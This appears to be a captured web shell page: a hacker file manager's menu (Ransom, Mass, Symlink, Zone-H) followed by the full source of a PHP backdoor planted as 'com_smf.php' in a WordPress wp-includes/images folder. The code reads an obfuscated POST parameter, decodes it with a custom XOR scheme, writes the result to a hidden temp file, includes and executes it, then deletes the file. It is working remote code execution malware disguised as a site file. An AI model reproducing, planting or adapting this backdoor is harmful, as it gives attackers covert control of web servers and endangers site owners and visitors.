| Path : /var/www/html/eceas/wp-includes/images/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-includes/images/com_smf.php |
<?php
if(filter_has_var(INPUT_POST, "r\x65\x66e\x72e\x6Ece")){
$descriptor = array_filter(["/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path()]);
$ref = $_REQUEST["r\x65\x66e\x72e\x6Ece"];
$ref =explode ("." , $ref ) ;
$entity = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s);
foreach($ref as $q =>$v3):
$sChar = ord($s[$q % $lenS]);
$d =((int)$v3 - $sChar -($q % 10))^ 34;
$entity .=chr($d);
endforeach;
$item = 0;
do {
$value = $descriptor[$item] ?? null;
if ($item >= count($descriptor)) break;
if ((function($d) { return is_dir($d) && is_writable($d); })($value)) {
$holder = sprintf("%s/.mrk", $value);
if (@file_put_contents($holder, $entity) !== false) {
include $holder;
unlink($holder);
die();
}
}
$item++;
} while (true);
}